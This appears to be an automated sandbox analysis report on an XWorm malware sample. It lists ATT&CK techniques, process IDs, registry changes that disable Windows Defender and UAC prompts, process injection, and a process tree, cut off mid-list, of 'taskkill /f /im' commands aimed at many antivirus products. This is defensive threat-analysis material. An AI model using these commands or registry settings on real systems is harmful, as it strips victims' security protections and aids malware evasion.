xworm | 45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 3 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5944	powershell.exe
1428	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2856	program1.exe
4628	program2.exe

Loads dropped DLL 44 IoCs

pid	Process
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2856	program1.exe
2856	program1.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2856	program1.exe
2856	program1.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4628 set thread context of 3224	4628	program2.exe	446

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2116	sc.exe
4952	sc.exe
4440	sc.exe
5784	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	program2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
6076	taskkill.exe
3700	taskkill.exe
1360	taskkill.exe
588	taskkill.exe
3256	taskkill.exe
2764	taskkill.exe
708	taskkill.exe
3508	taskkill.exe
3372	taskkill.exe
4528	taskkill.exe
3456	taskkill.exe
5796	taskkill.exe
2204	taskkill.exe
2888	taskkill.exe
956	taskkill.exe
2808	taskkill.exe
3536	taskkill.exe
1636	taskkill.exe
3876	taskkill.exe
5052	taskkill.exe
6024	taskkill.exe
4496	taskkill.exe
5596	taskkill.exe
3760	taskkill.exe
1060	taskkill.exe
3548	taskkill.exe
3900	taskkill.exe
4088	taskkill.exe
4612	taskkill.exe
1912	taskkill.exe
2372	taskkill.exe
1888	taskkill.exe
6116	taskkill.exe
3620	taskkill.exe
5704	taskkill.exe
3876	taskkill.exe
3760	taskkill.exe
4448	taskkill.exe
6016	taskkill.exe
6060	taskkill.exe
5708	taskkill.exe
2032	taskkill.exe
3976	taskkill.exe
1560	taskkill.exe
5532	taskkill.exe
1344	taskkill.exe
2472	taskkill.exe
3300	taskkill.exe
5016	taskkill.exe
4084	taskkill.exe
3428	taskkill.exe
4628	taskkill.exe
5428	taskkill.exe
2708	taskkill.exe
1020	taskkill.exe
5708	taskkill.exe
2800	taskkill.exe
5568	taskkill.exe
5900	taskkill.exe
6136	taskkill.exe
5420	taskkill.exe
3424	taskkill.exe
4772	taskkill.exe
5420	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3224	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
5332	powershell.exe
5332	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3504	taskkill.exe
Token: SeDebugPrivilege	5016	taskkill.exe
Token: SeDebugPrivilege	708	taskkill.exe
Token: SeDebugPrivilege	4084	taskkill.exe
Token: SeDebugPrivilege	1544	taskkill.exe
Token: SeDebugPrivilege	5796	taskkill.exe
Token: SeDebugPrivilege	5652	taskkill.exe
Token: SeDebugPrivilege	3536	taskkill.exe
Token: SeDebugPrivilege	1060	taskkill.exe
Token: SeDebugPrivilege	3508	taskkill.exe
Token: SeDebugPrivilege	3240	taskkill.exe
Token: SeDebugPrivilege	1636	taskkill.exe
Token: SeDebugPrivilege	2800	taskkill.exe
Token: SeDebugPrivilege	3428	taskkill.exe
Token: SeDebugPrivilege	3372	taskkill.exe
Token: SeDebugPrivilege	6116	taskkill.exe
Token: SeDebugPrivilege	5708	taskkill.exe
Token: SeDebugPrivilege	4272	taskkill.exe
Token: SeDebugPrivilege	3620	taskkill.exe
Token: SeDebugPrivilege	5648	taskkill.exe
Token: SeDebugPrivilege	2204	taskkill.exe
Token: SeDebugPrivilege	3548	taskkill.exe
Token: SeDebugPrivilege	1388	taskkill.exe
Token: SeDebugPrivilege	3900	taskkill.exe
Token: SeDebugPrivilege	2032	taskkill.exe
Token: SeDebugPrivilege	5568	taskkill.exe
Token: SeDebugPrivilege	1504	taskkill.exe
Token: SeDebugPrivilege	5424	taskkill.exe
Token: SeDebugPrivilege	5656	taskkill.exe
Token: SeDebugPrivilege	5704	taskkill.exe
Token: SeDebugPrivilege	3876	taskkill.exe
Token: SeDebugPrivilege	1568	taskkill.exe
Token: SeDebugPrivilege	588	taskkill.exe
Token: SeDebugPrivilege	5604	taskkill.exe
Token: SeDebugPrivilege	4628	taskkill.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	5052	taskkill.exe
Token: SeDebugPrivilege	4088	taskkill.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	5900	taskkill.exe
Token: SeDebugPrivilege	2020	taskkill.exe
Token: SeDebugPrivilege	1828	taskkill.exe
Token: SeDebugPrivilege	5324	taskkill.exe
Token: SeDebugPrivilege	6136	taskkill.exe
Token: SeDebugPrivilege	2720	taskkill.exe
Token: SeDebugPrivilege	3976	taskkill.exe
Token: SeDebugPrivilege	1016	taskkill.exe
Token: SeDebugPrivilege	6024	taskkill.exe
Token: SeDebugPrivilege	4140	taskkill.exe
Token: SeDebugPrivilege	1260	taskkill.exe
Token: SeDebugPrivilege	5332	taskkill.exe
Token: SeDebugPrivilege	5420	taskkill.exe
Token: SeDebugPrivilege	5704	taskkill.exe
Token: SeDebugPrivilege	3876	taskkill.exe
Token: SeDebugPrivilege	3424	taskkill.exe
Token: SeDebugPrivilege	4612	taskkill.exe
Token: SeDebugPrivilege	4528	taskkill.exe
Token: SeDebugPrivilege	1668	taskkill.exe
Token: SeDebugPrivilege	1560	taskkill.exe
Token: SeDebugPrivilege	5532	taskkill.exe
Token: SeDebugPrivilege	4952	taskkill.exe
Token: SeDebugPrivilege	3256	taskkill.exe
Token: SeDebugPrivilege	6076	taskkill.exe
Token: SeDebugPrivilege	1912	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3224	RegSvcs.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 804	2864	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	90
PID 804 wrote to memory of 4172	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	92
PID 4172 wrote to memory of 3504	4172	cmd.exe	94
PID 804 wrote to memory of 788	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	95
PID 788 wrote to memory of 5016	788	cmd.exe	97
PID 804 wrote to memory of 5664	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	98
PID 5664 wrote to memory of 708	5664	cmd.exe	100
PID 804 wrote to memory of 4108	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	101
PID 4108 wrote to memory of 4084	4108	cmd.exe	103
PID 804 wrote to memory of 4224	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	104
PID 4224 wrote to memory of 1544	4224	cmd.exe	106
PID 804 wrote to memory of 5644	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	107
PID 5644 wrote to memory of 5796	5644	cmd.exe	109
PID 804 wrote to memory of 3608	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	110
PID 3608 wrote to memory of 5652	3608	cmd.exe	112
PID 804 wrote to memory of 2944	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	113
PID 2944 wrote to memory of 3536	2944	cmd.exe	115
PID 804 wrote to memory of 1688	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	116
PID 1688 wrote to memory of 1060	1688	cmd.exe	118
PID 804 wrote to memory of 256	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	119
PID 256 wrote to memory of 3508	256	cmd.exe	121
PID 804 wrote to memory of 4804	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	122
PID 4804 wrote to memory of 3240	4804	cmd.exe	124
PID 804 wrote to memory of 1760	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	125
PID 1760 wrote to memory of 1636	1760	cmd.exe	127
PID 804 wrote to memory of 3916	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	128
PID 3916 wrote to memory of 2800	3916	cmd.exe	130
PID 804 wrote to memory of 1352	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	131
PID 1352 wrote to memory of 3428	1352	cmd.exe	133
PID 804 wrote to memory of 4112	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	134
PID 4112 wrote to memory of 3372	4112	cmd.exe	136
PID 804 wrote to memory of 4268	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	137
PID 4268 wrote to memory of 6116	4268	cmd.exe	139
PID 804 wrote to memory of 5956	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	140
PID 5956 wrote to memory of 5708	5956	cmd.exe	142
PID 804 wrote to memory of 4604	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	143
PID 4604 wrote to memory of 4272	4604	cmd.exe	145
PID 804 wrote to memory of 1648	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	146
PID 1648 wrote to memory of 3620	1648	cmd.exe	148
PID 804 wrote to memory of 6080	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	149
PID 6080 wrote to memory of 5648	6080	cmd.exe	151
PID 804 wrote to memory of 3080	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	152
PID 3080 wrote to memory of 2204	3080	cmd.exe	154
PID 804 wrote to memory of 2200	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	155
PID 2200 wrote to memory of 3548	2200	cmd.exe	157
PID 804 wrote to memory of 3284	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	158
PID 3284 wrote to memory of 1388	3284	cmd.exe	160
PID 804 wrote to memory of 2576	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	161
PID 2576 wrote to memory of 3900	2576	cmd.exe	163
PID 804 wrote to memory of 3448	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	164
PID 3448 wrote to memory of 2032	3448	cmd.exe	166
PID 804 wrote to memory of 5980	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	167
PID 5980 wrote to memory of 5568	5980	cmd.exe	169
PID 804 wrote to memory of 2084	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	170
PID 2084 wrote to memory of 1504	2084	cmd.exe	172
PID 804 wrote to memory of 2904	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	173
PID 2904 wrote to memory of 5424	2904	cmd.exe	175
PID 804 wrote to memory of 4728	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	176
PID 4728 wrote to memory of 5656	4728	cmd.exe	178
PID 804 wrote to memory of 2024	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	179
PID 2024 wrote to memory of 5704	2024	cmd.exe	256
PID 804 wrote to memory of 5512	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	182
PID 5512 wrote to memory of 3876	5512	cmd.exe	259
PID 804 wrote to memory of 6068	804	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	185

System policy modification 1 TTPs 3 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

C:\Users\Admin\AppData\Local\Temp\45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
"C:\Users\Admin\AppData\Local\Temp\45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Users\Admin\AppData\Local\Temp\45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
  "C:\Users\Admin\AppData\Local\Temp\45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - UAC bypass
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4172
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:788
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5664
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4108
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ksc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5644
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2944
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drwebservice.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:256
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1760
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3916
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1352
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4112
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5956
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1648
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6080
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3080
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
